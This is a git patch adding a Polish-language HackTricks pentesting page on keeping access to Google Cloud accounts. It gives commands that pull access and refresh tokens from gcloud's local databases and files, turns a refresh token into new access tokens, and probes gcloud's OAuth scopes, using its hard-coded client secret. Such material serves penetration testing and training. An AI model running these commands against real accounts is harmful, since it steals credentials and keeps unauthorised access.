From ae4a345d1ba0a5cecbb2b4189e0a996f1dfd4da1 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 21 Feb 2025 11:05:07 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s --- .../gcp-non-svc-persistence.md | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md new file mode 100644 index 000000000..eecd04df6 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md @@ -0,0 +1,90 @@ +# GCP - Token Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +### Tokeny Użytkownika z Autoryzacją + +Aby uzyskać **aktualny token** użytkownika, możesz uruchomić: +```bash +sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" +``` +Sprawdź na tej stronie, jak **bezpośrednio użyć tego tokena za pomocą gcloud**: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp +{{#endref}} + +Aby uzyskać szczegóły dotyczące **generowania nowego tokena dostępu**, uruchom: +```bash +sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" +``` +Możliwe jest również znalezienie tokenów odświeżania w **`$HOME/.config/gcloud/application_default_credentials.json`** oraz w **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**. + +Aby uzyskać nowy odświeżony token dostępu za pomocą **tokena odświeżania**, identyfikatora klienta i tajnego klucza klienta, uruchom: +```bash +curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token +``` +Ważność tokenów odświeżania można zarządzać w **Admin** > **Security** > **Google Cloud session control**, a domyślnie jest ustawiona na 16h, chociaż można ustawić, aby nigdy nie wygasały: + +
+ +### Auth flow + +Przepływ uwierzytelniania podczas korzystania z czegoś takiego jak `gcloud auth login` otworzy okno w przeglądarce, a po zaakceptowaniu wszystkich zakresów przeglądarka wyśle żądanie takie jak to do otwartego portu http przez narzędzie: +``` +/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1 +``` +Następnie gcloud użyje stanu i kodu z pewnym zakodowanym `client_id` (`32555940559.apps.googleusercontent.com`) oraz **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`), aby uzyskać **ostateczne dane tokena odświeżania**. + +> [!CAUTION] +> Zauważ, że komunikacja z localhostem odbywa się w HTTP, więc możliwe jest przechwycenie danych w celu uzyskania tokena odświeżania, jednak te dane są ważne tylko 1 raz, więc byłoby to bezużyteczne, łatwiej jest po prostu odczytać token odświeżania z pliku. + +### Zakresy OAuth + +Możesz znaleźć wszystkie zakresy Google pod adresem [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) lub uzyskać je, wykonując: +```bash +curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u +``` +Można zobaczyć, które zakresy aplikacja, którą **`gcloud`** używa do uwierzytelniania, może obsługiwać za pomocą tego skryptu: +```bash +curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do +echo -ne "Testing $scope \r" +if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then +echo "" +echo $scope +fi +done +``` +Po wykonaniu tego sprawdzono, że ta aplikacja obsługuje te zakresy: +``` +https://www.googleapis.com/auth/appengine.admin +https://www.googleapis.com/auth/bigquery +https://www.googleapis.com/auth/cloud-platform +https://www.googleapis.com/auth/compute +https://www.googleapis.com/auth/devstorage.full_control +https://www.googleapis.com/auth/drive +https://www.googleapis.com/auth/userinfo.email +``` +interesujące jest to, jak ta aplikacja obsługuje zakres **`drive`**, co może pozwolić użytkownikowi na eskalację z GCP do Workspace, jeśli atakujący zdoła zmusić użytkownika do wygenerowania tokena z tym zakresem. + +**Sprawdź, jak to** [**wykorzystać tutaj**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.** + +### Konta serwisowe + +Podobnie jak w przypadku uwierzytelnionych użytkowników, jeśli uda ci się **skompromentować plik klucza prywatnego** konta serwisowego, będziesz mógł **uzyskać do niego dostęp zazwyczaj tak długo, jak chcesz**.\ +Jednak jeśli ukradniesz **token OAuth** konta serwisowego, może to być jeszcze bardziej interesujące, ponieważ, nawet jeśli domyślnie te tokeny są użyteczne tylko przez godzinę, jeśli **ofiara usunie prywatny klucz API, token OAuh będzie nadal ważny aż do wygaśnięcia**. + +### Metadane + +Oczywiście, dopóki jesteś w maszynie działającej w środowisku GCP, będziesz mógł **uzyskać dostęp do konta serwisowego przypisanego do tej maszyny, kontaktując się z punktem końcowym metadanych** (zauważ, że tokeny Oauth, do których możesz uzyskać dostęp w tym punkcie końcowym, są zazwyczaj ograniczone przez zakresy). + +### Remediacje + +Niektóre remediacje dla tych technik są wyjaśnione w [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) + +### Odniesienia + +- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1) +- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) + +{{#include ../../../banners/hacktricks-training.md}}